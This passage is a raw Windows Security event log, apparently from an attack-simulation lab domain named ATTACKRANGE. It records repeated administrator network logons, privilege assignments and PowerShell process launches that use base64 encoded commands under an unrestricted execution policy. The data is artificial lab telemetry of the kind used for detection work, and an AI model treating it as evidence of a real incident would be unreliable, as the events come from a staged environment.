Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247507 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x118669 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247506 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144216 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247505 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144216 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247504 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247503 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247502 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1441E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247501 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1441E5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247500 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1441E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247499 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247498 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247497 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x138356 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247496 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x11A10C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247495 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1189D5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247531 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x145E70 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247530 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x145E70 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247529 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247528 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247527 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb10 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xebc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247525 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144797 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247524 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144797 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247523 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247522 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247521 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xebc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc60 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247520 -Keywords=Audit Success -Message=A new process has 